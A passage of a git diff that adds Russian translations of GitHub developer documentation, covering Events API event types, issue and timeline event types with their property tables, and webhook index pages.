"https://github.com/images/error/octocat_happy.gif" + }, + "created_at": "2011-09-06T17:26:27Z", + "id": "12345" + } +] +``` + +## CommitCommentEvent + +{% data reusables.webhooks.commit_comment_short_desc %} + +{% data reusables.webhooks.events_api_payload %} + +### Объект события `payload` + +{% data reusables.webhooks.commit_comment_properties %} + +## CreateEvent + +{% data reusables.webhooks.create_short_desc %} + +{% data reusables.webhooks.events_api_payload %} + +### Объект события `payload` + +{% data reusables.webhooks.create_properties %} + +## DeleteEvent + +{% data reusables.webhooks.delete_short_desc %} + +{% data reusables.webhooks.events_api_payload %} + +### Объект события `payload` + +{% data reusables.webhooks.delete_properties %} + +## ForkEvent + +{% data reusables.webhooks.fork_short_desc %} + +{% data reusables.webhooks.events_api_payload %} + +### Объект события `payload` + +{% data reusables.webhooks.fork_properties %} + +## GollumEvent + +{% data reusables.webhooks.gollum_short_desc %} + +{% data reusables.webhooks.events_api_payload %} + +### Объект события `payload` + +{% data reusables.webhooks.gollum_properties %} + +## IssueCommentEvent + +{% data reusables.webhooks.issue_comment_short_desc %} + +{% data reusables.webhooks.events_api_payload %} + +### Объект события `payload` + +{% data reusables.webhooks.issue_comment_webhook_properties %} {% data reusables.webhooks.issue_comment_properties %} + +## IssuesEvent + +{% data reusables.webhooks.issues_short_desc %} + +{% data reusables.webhooks.events_api_payload %} + +### Объект события `payload` + +{% data reusables.webhooks.issue_event_api_properties %} {% data reusables.webhooks.issue_properties %} + +## MemberEvent + +{% data reusables.webhooks.member_short_desc %} + +{% data reusables.webhooks.events_api_payload %} + +### Объект события `payload` + +{% data reusables.webhooks.member_event_api_properties %} {% data reusables.webhooks.member_properties %} + +{% ifversion fpt or ghes or ghec %} +## PublicEvent + +{% data reusables.webhooks.public_short_desc %} +### Объект события `payload` + +Это событие возвращает пустой объект `payload`. +{% endif %} +## PullRequestEvent + +{% data reusables.webhooks.pull_request_short_desc %} + +{% data reusables.webhooks.events_api_payload %} + +### Объект события `payload` + +{% data reusables.webhooks.pull_request_event_api_properties %} {% data reusables.webhooks.pull_request_properties %} + +## PullRequestReviewEvent + +{% data reusables.webhooks.pull_request_review_short_desc %} + +{% data reusables.webhooks.events_api_payload %} + +### Объект события `payload` + +Ключ | Тип | Описание +----|------|------------- +`action` | `string` | Действие, которое было выполнено. Может иметь значение `created`. +`pull_request` | `object` | Запрос на вытягивание, к которому относится проверка. +`review` | `object` | Затрагиваемый обзор. + +## PullRequestReviewCommentEvent + +{% data reusables.webhooks.pull_request_review_comment_short_desc %} + +{% data reusables.webhooks.events_api_payload %} + +### Объект события `payload` + +{% data reusables.webhooks.pull_request_review_comment_event_api_properties %} {% data reusables.webhooks.pull_request_review_comment_properties %} + +## PullRequestReviewThreadEvent + +{% data reusables.webhooks.pull_request_review_thread_short_desc %} + +{% data reusables.webhooks.events_api_payload %} + +### Объект события `payload` + +{% data reusables.webhooks.pull_request_thread_properties %} + +## PushEvent + +{% data reusables.webhooks.push_short_desc %} + +{% data reusables.webhooks.events_api_payload %} + +### Объект события `payload` + +Ключ | Тип | Описание +----|------|------------- +`push_id` | `integer` | Уникальный идентификатор принудительной отправки. +`size`|`integer` | Количество фиксаций в принудительной отправке. +`distinct_size`|`integer` | Количество отдельных фиксаций в принудительной отправке. +`ref`|`string` | Полный [`git ref`](/rest/reference/git#refs), который был принудительно отправлен. Например, `refs/heads/main`. +`head`|`string` | SHA последней фиксации в `ref` после принудительной отправки. +`before`|`string` | SHA последней фиксации в `ref` до принудительной отправки. +`commits`|`array` | Массив объектов фиксации, описывающих принудительно отправленные фиксации. (Массив включает не более 20 фиксаций. При необходимости можно использовать [API фиксаций](/rest/reference/repos#commits) для получения дополнительных фиксаций. Это ограничение применяется только к событиям временной шкалы и не применяется к доставке веб-перехватчиков.) +`commits[][sha]`|`string` | SHA фиксации. +`commits[][message]`|`string` | Сообщение фиксации. +`commits[][author]`|`object` | Автор Git фиксации. +`commits[][author][name]`|`string` | Имя автора Git. +`commits[][author][email]`|`string` | Адрес электронной почты автора Git. +`commits[][url]`|`url` | URL-адрес, указывающий на ресурс API фиксации. +`commits[][distinct]`|`boolean` | Отличается ли эта фиксация от остальных фиксаций, принудительно отправленных ранее. + +## ReleaseEvent + +{% data reusables.webhooks.release_short_desc %} + +{% data reusables.webhooks.events_api_payload %} + +### Объект события `payload` + +{% data reusables.webhooks.release_event_api_properties %} {% data reusables.webhooks.release_properties %} + +{% ifversion fpt or ghec %} +## SponsorshipEvent + +{% data reusables.webhooks.sponsorship_short_desc %} + +### Объект события `payload` + +{% data reusables.webhooks.sponsorship_event_api_properties %} {% data reusables.webhooks.sponsorship_properties %} {% endif %} + +## WatchEvent + +{% data reusables.webhooks.watch_short_desc %} + +{% data reusables.webhooks.events_api_payload %} + +### Объект события `payload` + +{% data reusables.webhooks.watch_properties %} diff --git a/translations/ru-RU/content/developers/webhooks-and-events/events/index.md b/translations/ru-RU/content/developers/webhooks-and-events/events/index.md new file mode 100644 index 000000000000..4091abc48806 --- /dev/null +++ b/translations/ru-RU/content/developers/webhooks-and-events/events/index.md @@ -0,0 +1,21 @@ +--- +title: События +intro: 'Ваши интеграции могут оформлять подписку и реагировать на события в {% data variables.product.prodname_dotcom %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Events +children: + - /github-event-types + - /issue-event-types +ms.openlocfilehash: 23c9db510ef4f142271564cb95b45ff7f6c23bf4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145112395' +--- + diff --git a/translations/ru-RU/content/developers/webhooks-and-events/events/issue-event-types.md b/translations/ru-RU/content/developers/webhooks-and-events/events/issue-event-types.md new file mode 100644 index 000000000000..d75723c1ebd4 --- /dev/null +++ b/translations/ru-RU/content/developers/webhooks-and-events/events/issue-event-types.md @@ -0,0 +1,738 @@ +--- +title: Типы события проблемы +intro: 'Сведения о типах событий, действиях активации в {% data variables.product.prodname_dotcom %} и уникальных свойствах каждого события в API событий и временной шкалы.' +redirect_from: + - /v3/issues/issue-event-types + - /developers/webhooks-and-events/issue-event-types +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Events +ms.openlocfilehash: 0120c358012c385555991820516b44199d0f34f8 +ms.sourcegitcommit: 42536e8cb82d50b98cdaee038f09c6aeb0d037c6 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/07/2022 +ms.locfileid: '148012062' +--- +События проблемы активируются действиями в проблемах и запросах на вытягивание и доступны в [API событий проблем](/rest/reference/issues#events) и в [API событий временной шкалы](/rest/reference/issues#timeline). Каждый тип события указывает, доступно ли событие в API событий проблемы или API событий временной шкалы. + +REST API GitHub рассматривает каждый запрос на вытягивание как проблему, но не каждая проблема является запросом на вытягивание. По этой причине конечные точки событий проблемы и событий временной шкалы могут возвращать в ответе как проблемы, так и запросы на вытягивание. Запросы на вытягивание содержат свойство `pull_request` в объекте `issue`. Так как запросы на вытягивание являются проблемами, номера проблем и запросов на вытягивание не перекрываются в репозитории. Например, при открытии первой проблемы в репозитории ее номером будет 1. Если затем открыть запрос на вытягивание, его номером будет 2. Каждый тип события указывает, где происходит событие: в запросе на вытягивание, проблемах или и там, и там. + +## Общие свойства объекта события проблемы + +События проблемы имеют одинаковую структуру объектов, за исключением событий, доступных только в API событий временной шкалы. Некоторые события также включают дополнительные свойства, которые предоставляют больше контекста о ресурсах событий. Дополнительные сведения о свойствах, отличающихся от этого формата объекта, см. в конкретном событии. + +{% data reusables.issue-events.issue-event-common-properties %} + +## added_to_project + +На доску проекта добавлена проблема или запрос на вытягивание. {% data reusables.projects.disabled-projects %} + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запрос на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.pre-release-program.starfox-preview %} {% data reusables.pre-release-program.api-preview-warning %} + +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.project-card-properties %} + +## назначено + +Пользователю назначена проблема или запрос на вытягивание. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.assignee-properties %} + +## automatic_base_change_failed + +Служба GitHub выполнила неудачную попытку автоматически изменить базовую ветвь запроса на вытягивание. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Запросы на вытягивание</li></ul> | **X** | | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## automatic_base_change_succeeded + +Служба GitHub выполнила удачную попытку автоматически изменить базовую ветвь запроса на вытягивание. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Запросы на вытягивание</li></ul> | **X** | | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## base_ref_changed + +Базовая ветвь ссылки запроса на вытягивание изменена. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Запросы на вытягивание</li></ul> | **X** | | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## closed + +Проблема или запрос на вытягивание закрыта. При наличии `commit_id` он определяет фиксацию, которая закрыла проблему с помощью синтаксиса "closes / fixes". Дополнительные сведения о синтаксисе см. в разделе [Связывание запроса на вытягивание с проблемой](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword). + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## добавлен комментарий + +К проблеме или запросу на вытягивание добавлен комментарий. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.timeline_events_object_properties %} + +Имя | Тип | Описание +-----|------|-------------- +`url` | `string` | URL-адрес REST API для получения комментария к проблеме. +`html_url` | `string` | URL-адрес HTML комментария к проблеме. +`issue_url` | `string` | URL-адрес HTML проблемы. +`id` | `integer` | Уникальный идентификатор события. +`node_id` | `string` | [Идентификатор глобального узла](/graphql/guides/using-global-node-ids) события. +`user` | `object` | Пользователь, который прокомментировал проблему. +`created_at` | `string` | Метка времени, указывающая время добавления комментария. +`updated_at` | `string` | Метка времени, указывающая время обновления комментария или время создания, если комментарий никогда не обновлялся. +`author_association` | `string` | Разрешения, которыми располагает пользователь в репозитории проблемы. Например, если владелец репозитория создал комментарий, значение будет `"OWNER"`. +`body` | `string` | Основной текст комментария. +`event` | `string` | Значение события — `"commented"`. +`actor` | `object` | Пользователь, создавший событие. + +## зафиксировано + +В ветвь `HEAD` запроса на вытягивание добавлена фиксация. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Запросы на вытягивание</li></ul> | | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.timeline_events_object_properties %} + +Имя | Тип | Описание +-----|------|-------------- +`sha` | `string` | SHA фиксации в запросе на вытягивание. +`node_id` | `string` | [Идентификатор глобального узла](/graphql/guides/using-global-node-ids) события. +`url` | `string` | URL-адрес REST API для получения фиксации. +`html_url` | `string` | URL-адрес HTML фиксации. +`author` | `object` | Пользователь, являющийся автором фиксации. +`committer` | `object` | Пользователь, выполнивший фиксацию от имени автора. +`tree` | `object` | Дерево Git фиксации. +`message` | `string` | Сообщение фиксации. +`parents` | `array of objects` | Список родительских фиксаций. +`verification` | `object` | Результат проверки сигнатуры фиксации. Дополнительные сведения см. в разделе [Объект проверки сигнатуры](/rest/reference/git#get-a-commit). +`event` | `string` | Значение события — `"committed"`. + +## connected + +Проблема или запрос на вытягивание связаны с другой проблемой или запросом на вытягивание. Дополнительные сведения см. в разделе [Связывание запроса на вытягивание с проблемой](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue). + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## convert_to_draft + +Запрос на вытягивание преобразован в режим черновика. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## converted_note_to_issue + +Проблема создана путем преобразования заметки на доске проекта в проблему. {% data reusables.projects.disabled-projects %} + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.pre-release-program.starfox-preview %} {% data reusables.pre-release-program.api-preview-warning %} + +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.project-card-properties %} + +## converted_to_discussion + +Проблема была закрыта и преобразована в обсуждение. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|-----|-----|-----| +| <ul><li>Проблемы</li></ul> | **X** | | + +### Свойства объекта event + +{% data reusables.issue-events.issue-event-common-properties %} + +## перекрестная ссылка + +На проблему или запрос на вытягивание ссылается другая проблема или запрос на вытягивание. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.timeline_events_object_properties %} + +Имя | Тип | Описание +-----|------|-------------- +`actor` | `object` | Пользователь, создавший событие. +`created_at` | `string` | Метка времени, указывающая время добавления перекрестной ссылки. +`updated_at` | `string` | Метка времени, указывающая время обновления перекрестной ссылки или время создания, если она никогда не обновлялась. +`source` | `object` | Проблема или запрос на вытягивание, добавивший перекрестную ссылку. +`source[type]` | `string` | Это значение всегда будет `"issue"`, потому что запросы на вытягивание имеют тип проблемы. В API событий временной шкалы возвращаются только события перекрестной ссылки, активируемые проблемами или запросами на вытягивание. Чтобы определить, является ли проблема, активировавшая событие, запросом на вытягивание, можно проверить, существует ли объект `source[issue][pull_request]`. +`source[issue]` | `object` | Объект `issue`, добавивший перекрестную ссылку. +`event` | `string` | Значение события — `"cross-referenced"`. + +## demilestoned + +Проблема или запрос на вытягивание удалены из вехи. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} `milestone` | `object` | Объект вехи. +`milestone[title]` | `string` | Название вехи. + +## deployed + +Запрос на вытягивание развернут. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## deployment_environment_changed + +Среда развертывания запроса на вытягивание изменена. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Запросы на вытягивание</li></ul> | **X** | | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## отключен + +Связь между проблемой или запросом на вытягивание и другой проблемой или запросом на вытягивание разорвана. Дополнительные сведения см. в разделе [Связывание запроса на вытягивание с проблемой](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue). + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## head_ref_deleted + +Ветвь `HEAD` запроса на вытягивание удалена. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## head_ref_restored + +Ветвь `HEAD` запроса на вытягивание восстановлена до последней известной фиксации. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +## head_ref_force_pushed + +Ветвь HEAD запроса на вытягивание принудительно отправлена. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## добавлены метки + +К проблеме или запросу на вытягивание добавлена метка. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.label-properties %} + +## locked + +Проблема или запрос на вытягивание закрыты. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} `lock_reason` | `string` | Причина блокировки беседы о проблеме или запросе на вытягивание, если она была предоставлена. + +## mentioned + +Пользователь `actor` был `@mentioned` в тексте проблемы или запроса на вытягивание. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## marked_as_duplicate + +Пользователь с разрешениями на запись пометил проблему как дубликат другой проблемы или запрос на вытягивание как дубликат другого запроса на вытягивание. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## объединенные + +Запрос на вытягивание объединен. Атрибут `commit_id` — это SHA1 фиксации `HEAD`, которая была объединена. `commit_repository` всегда совпадает с основным репозиторием. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## milestoned + +Проблема или запрос на вытягивание добавлены в веху. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} `milestone` | `object` | Объект вехи. +`milestone[title]` | `string` | Название вехи. + +## moved_columns_in_project + +Проблема или запрос на вытягивание перемещены между столбцами на доске проекта. {% data reusables.projects.disabled-projects %} + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.pre-release-program.starfox-preview %} {% data reusables.pre-release-program.api-preview-warning %} + +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.project-card-properties %} `previous_column_name` | `string` | Имя столбца, из которого перемещена проблема. + +## pinned + +Проблема закреплена. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## ready_for_review + +Черновик запроса на вытягивание помечен как готовый к проверке. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## referenced + +На проблему ссылается сообщение о фиксации. Атрибут `commit_id` — это SHA1 фиксации, в которой произошло это событие, а commit_repository — место отправки этой фиксации. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## removed_from_project + +Проблема или запрос на вытягивание удалены из доски проекта. {% data reusables.projects.disabled-projects %} + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.pre-release-program.starfox-preview %} {% data reusables.pre-release-program.api-preview-warning %} + +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.project-card-properties %} + +## renamed + +Заголовок проблемы или запроса на вытягивание изменен. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} `rename` | `object` | Сведения об имени. +`rename[from]` | `string` | Предыдущее имя. +`rename[to]` | `string` | Новое имя. + +## повторно открывается; + +Проблема или запрос на вытягивание повторно закрыты. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## review_dismissed + +Проверка запроса на вытягивание закрыта. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.review-dismissed-properties %} + +## review_requested + +Запрошена проверка запроса на вытягивание. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.review-request-properties %} + +## review_request_removed + +Запрос на проверку запроса на вытягивание удален. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.review-request-properties %} + +## reviewed + +Запрос на вытягивание проверен. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Запросы на вытягивание</li></ul> | | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.timeline_events_object_properties %} + +Имя | Тип | Описание +-----|------|-------------- +`id` | `integer` | Уникальный идентификатор события. +`node_id` | `string` | [Идентификатор глобального узла](/graphql/guides/using-global-node-ids) события. +`user` | `object` | Пользователь, который прокомментировал проблему. +`body` | `string` | Текст сводки проверки. +`commit_id` | `string` | SHA последней фиксации в запросе на вытягивание во время проверки. +`submitted_at` | `string` | Метка времени, указывающая время отправки проверки. +`state` | `string` | Состояние отправленной проверки. Это может быть `commented`, `changes_requested` или `approved`. +`html_url` | `string` | URL-адрес HTML проверки. +`pull_request_url` | `string` | URL-адрес REST API для получения запроса на вытягивание. +`author_association` | `string` | Разрешения, которыми располагает пользователь в репозитории проблемы. Например, если владелец репозитория создал комментарий, значение будет `"OWNER"`. +`_links` | `object` | `html_url` и `pull_request_url`. +`event` | `string` | Значение события — `"reviewed"`. + +## subscribed + +Кто-то подписался на получение уведомлений о проблеме или запросе на вытягивание. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## transferred + +Проблема перенесена в другой репозиторий. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## unassigned + +Для пользователя отменено назначение проблемы. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.assignee-properties %} + +## unlabeled + +Метка удалена из проблемы. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.label-properties %} + +## unlocked + +Проблема разблокирована. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} `lock_reason` | `string` | Причина блокировки беседы о проблеме или запросе на вытягивание, если она была предоставлена. + +## unmarked_as_duplicate + +Проблема или запрос на вытягивание, который пользователь ранее пометил как дубликат другой проблемы или другого запроса на вытягивание соответственно, больше не считается дубликатом. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## unpinned + +Проблема откреплена. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +## unsubscribed + +Кто-то отменил подписку на получение уведомлений о проблеме или запросе на вытягивание. + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +{% ifversion fpt or ghec %} +## user_blocked + +Владелец организации заблокировал пользователю доступ к организации. Это было сделано [с помощью одного из заблокированных комментариев пользователя по этой проблеме](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization#blocking-a-user-in-a-comment). + +### Доступность + +|Тип проблемы | API событий проблемы | API событий временной шкалы| +|:----------|:----------------:|:-----------------:| +| <ul><li>Проблемы</li><li>Запросы на вытягивание</li></ul> | **X** | **X** | + +### Свойства объекта события + +{% data reusables.issue-events.issue-event-common-properties %} + +{% endif %} diff --git a/translations/ru-RU/content/developers/webhooks-and-events/index.md b/translations/ru-RU/content/developers/webhooks-and-events/index.md new file mode 100644 index 000000000000..d3a5a2d53659 --- /dev/null +++ b/translations/ru-RU/content/developers/webhooks-and-events/index.md @@ -0,0 +1,22 @@ +--- +title: Веб-перехватчики и события +intro: 'Вы можете настраивать, тестировать и защищать веб-перехватчики, чтобы интеграции могли оформлять подписку и реагировать на события в {% data variables.product.prodname_dotcom %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Webhooks + - Events +children: + - /webhooks + - /events +ms.openlocfilehash: fad83525deaeaccda2a9949d9a634c19f857056b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145119736' +--- + diff --git a/translations/ru-RU/content/developers/webhooks-and-events/webhooks/about-webhooks.md b/translations/ru-RU/content/developers/webhooks-and-events/webhooks/about-webhooks.md new file mode 100644 index 000000000000..b80ea2e36125 --- /dev/null +++ b/translations/ru-RU/content/developers/webhooks-and-events/webhooks/about-webhooks.md @@ -0,0 +1,42 @@ +--- +title: Сведения о веб-перехватчиках +intro: 'Узнайте, как веб-перехватчики помогают вам создать и настроить интеграции.' +redirect_from: + - /webhooks + - /developers/webhooks-and-events/about-webhooks +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Webhooks +ms.openlocfilehash: 08b038d5a35c4c692502545e640d04993d169b6a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a 